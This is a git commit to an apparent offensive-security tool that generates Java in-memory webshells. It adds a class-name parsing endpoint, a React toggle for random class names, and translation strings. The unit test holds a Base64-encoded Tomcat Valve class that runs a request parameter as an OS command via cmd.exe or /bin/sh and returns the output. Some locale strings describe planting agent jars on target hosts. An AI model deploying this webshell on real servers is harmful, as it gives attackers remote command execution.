feat: support parse custom shell className

This commit is contained in:
ReaJason
2025-11-16 12:07:49 +08:00
parent 4805ee1884
commit f588650fa8
7 changed files with 180 additions and 28 deletions
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -36,9 +36,10 @@ public class MemShellGenerator {
Class<?> shellClass = shellInjectorPair.getLeft(); Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight(); injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { }
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
} if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
} }
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
@@ -1,42 +1,84 @@
import { ChevronDown, ChevronUp, Settings } from "lucide-react"; import { Shuffle } from "lucide-react";
import { Fragment, useState } from "react"; import { Fragment, useEffect, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form"; import { FormProvider, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { Button } from "@/components/ui/button";
import { import {
FormField, FormField,
FormFieldItem, FormFieldItem,
FormFieldLabel, FormFieldLabel,
} from "@/components/ui/form.tsx"; } from "@/components/ui/form.tsx";
import { Input } from "@/components/ui/input.tsx"; import { Input } from "@/components/ui/input.tsx";
import { Switch } from "@/components/ui/switch.tsx";
import type { MemShellFormSchema } from "@/types/schema.ts"; import type { MemShellFormSchema } from "@/types/schema.ts";
export function OptionalClassFormField({ export function OptionalClassFormField({
form, form,
}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) { }: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
const { t } = useTranslation(["memshell", "common"]); const { t } = useTranslation(["memshell", "common"]);
const [showAdvanced, setShowAdvanced] = useState(false); const initialShellClassName = form.getValues("shellClassName") ?? "";
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
const [useRandomClassName, setUseRandomClassName] = useState(
() =>
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
);
const [savedShellClassName, setSavedShellClassName] = useState(
initialShellClassName,
);
const [savedInjectorClassName, setSavedInjectorClassName] = useState(
initialInjectorClassName,
);
const shellClassName = form.watch("shellClassName");
const injectorClassName = form.watch("injectorClassName");
useEffect(() => {
if (!useRandomClassName) {
setSavedShellClassName(shellClassName ?? "");
}
}, [shellClassName, useRandomClassName]);
useEffect(() => {
if (!useRandomClassName) {
setSavedInjectorClassName(injectorClassName ?? "");
}
}, [injectorClassName, useRandomClassName]);
useEffect(() => {
if (
useRandomClassName &&
(shellClassName?.trim() || injectorClassName?.trim())
) {
setUseRandomClassName(false);
}
}, [injectorClassName, shellClassName, useRandomClassName]);
const handleToggleRandomClass = (checked: boolean) => {
setUseRandomClassName(checked);
if (checked) {
setSavedShellClassName(form.getValues("shellClassName") ?? "");
setSavedInjectorClassName(form.getValues("injectorClassName") ?? "");
form.setValue("shellClassName", "");
form.setValue("injectorClassName", "");
} else {
form.setValue("shellClassName", savedShellClassName ?? "");
form.setValue("injectorClassName", savedInjectorClassName ?? "");
}
};
return ( return (
<Fragment> <Fragment>
<div className="pt-2"> <div className="pt-2 flex items-center justify-between gap-3">
<Button <div className="flex items-center gap-2 text-sm">
type="button" <Shuffle className="h-4 w-4" />
variant="outline" <span>{t("mainConfig.randomClassName")}</span>
size="sm" </div>
onClick={() => setShowAdvanced(!showAdvanced)} <Switch
className="flex items-center gap-2" id="randomClassName"
> checked={useRandomClassName}
<Settings className="h-4 w-4" /> onCheckedChange={handleToggleRandomClass}
{t("classNameOptions")} />
{showAdvanced ? (
<ChevronUp className="h-4 w-4" />
) : (
<ChevronDown className="h-4 w-4" />
)}
</Button>
</div> </div>
{showAdvanced && ( <FormProvider {...form}>
<FormProvider {...form}> {!useRandomClassName && (
<FormField <FormField
control={form.control} control={form.control}
name="shellClassName" name="shellClassName"
@@ -53,6 +95,8 @@ export function OptionalClassFormField({
</FormFieldItem> </FormFieldItem>
)} )}
/> />
)}
{!useRandomClassName && (
<FormField <FormField
control={form.control} control={form.control}
name="injectorClassName" name="injectorClassName"
@@ -69,8 +113,8 @@ export function OptionalClassFormField({
</FormFieldItem> </FormFieldItem>
)} )}
/> />
</FormProvider> )}
)} </FormProvider>
</Fragment> </Fragment>
); );
} }
@@ -1,6 +1,7 @@
import { useState } from "react"; import { useEffect, useRef, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form"; import { FormProvider, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { toast } from "sonner";
import { Card, CardContent } from "@/components/ui/card"; import { Card, CardContent } from "@/components/ui/card";
import { import {
FormControl, FormControl,
@@ -14,6 +15,7 @@ import { Label } from "@/components/ui/label";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { TabsContent } from "@/components/ui/tabs"; import { TabsContent } from "@/components/ui/tabs";
import { Textarea } from "@/components/ui/textarea"; import { Textarea } from "@/components/ui/textarea";
import { env } from "@/config.ts";
import type { MemShellFormSchema } from "@/types/schema"; import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field"; import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field"; import { ShellTypeFormField } from "./shelltype-field";
@@ -28,6 +30,65 @@ export default function CustomTabContent({
}>) { }>) {
const [isFile, setIsFile] = useState(false); const [isFile, setIsFile] = useState(false);
const { t } = useTranslation(["memshell", "common"]); const { t } = useTranslation(["memshell", "common"]);
const shellClassBase64 = form.watch("shellClassBase64");
const lastParsedBase64Ref = useRef<string | undefined>(undefined);
const classNameEndpoint = `${env.API_URL}/className`;
useEffect(() => {
if (!shellClassBase64) {
lastParsedBase64Ref.current = undefined as string | undefined;
return;
}
if (shellClassBase64 === lastParsedBase64Ref.current) {
return;
}
const controller = new AbortController();
const timer = setTimeout(() => {
const parseClassName = async () => {
try {
const response = await fetch(classNameEndpoint, {
method: "POST",
headers: {
"Content-Type": "text/plain",
},
body: shellClassBase64,
signal: controller.signal,
});
if (!response.ok) {
throw new Error(response.statusText);
}
const className = await response.text();
if (!className) {
throw new Error("EMPTY_CLASS_NAME");
}
lastParsedBase64Ref.current = shellClassBase64;
form.setValue("shellClassName", className, {
shouldDirty: true,
});
} catch (error) {
if ((error as Error)?.name === "AbortError") {
return;
}
toast.error(t("memshell:tips.classNameParseFailed"));
}
};
void parseClassName();
}, 400);
return () => {
clearTimeout(timer);
controller.abort();
};
}, [classNameEndpoint, form, shellClassBase64, t]);
return ( return (
<FormProvider {...form}> <FormProvider {...form}>
<TabsContent value="Custom"> <TabsContent value="Custom">
+2
View File
@@ -6,6 +6,7 @@
"classNameOptions": "ClassNameOptions", "classNameOptions": "ClassNameOptions",
"injectorClass": "InjectorClass", "injectorClass": "InjectorClass",
"mainConfig.injectorClassName": "Injector ClassName", "mainConfig.injectorClassName": "Injector ClassName",
"mainConfig.randomClassName": "Random Class Name",
"mainConfig.shellClassName": "Shell ClassName", "mainConfig.shellClassName": "Shell ClassName",
"mainConfig.shellMountType": "Shell Mount Type", "mainConfig.shellMountType": "Shell Mount Type",
"mainConfig.shellTool": "ShellTool", "mainConfig.shellTool": "ShellTool",
@@ -36,6 +37,7 @@
"shellToolConfig.neoreGeorgHeader": "Custom Header", "shellToolConfig.neoreGeorgHeader": "Custom Header",
"shellToolConfig.neoreGeorgKey": "Connection Key", "shellToolConfig.neoreGeorgKey": "Connection Key",
"shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header", "shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header",
"tips.classNameParseFailed": "Failed to parse class name, please verify the Base64 data",
"tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host", "tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host",
"tips.agent-move-to-target1": "Move MemShellAgent.jar to target host", "tips.agent-move-to-target1": "Move MemShellAgent.jar to target host",
"tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller", "tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
+2
View File
@@ -7,6 +7,7 @@
"shellClass": "内存马", "shellClass": "内存马",
"classNameOptions": "类名配置项", "classNameOptions": "类名配置项",
"mainConfig.injectorClassName": "注入器类名", "mainConfig.injectorClassName": "注入器类名",
"mainConfig.randomClassName": "随机类名",
"mainConfig.shellClassName": "内存马类名", "mainConfig.shellClassName": "内存马类名",
"mainConfig.shellMountType": "内存马挂载类型", "mainConfig.shellMountType": "内存马挂载类型",
"mainConfig.shellTool": "内存马功能", "mainConfig.shellTool": "内存马功能",
@@ -37,6 +38,7 @@
"shellToolConfig.neoreGeorgKey": "连接密钥", "shellToolConfig.neoreGeorgKey": "连接密钥",
"shellToolConfig.suo5Header": "高级配置 -> 请求头", "shellToolConfig.suo5Header": "高级配置 -> 请求头",
"tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上", "tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上",
"tips.classNameParseFailed": "无法解析类名,请检查 Base64 内容",
"tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上", "tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上",
"tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller", "tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller",
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件", "tips.customShellClass": "请输入自定义内存马类,base64 或类文件",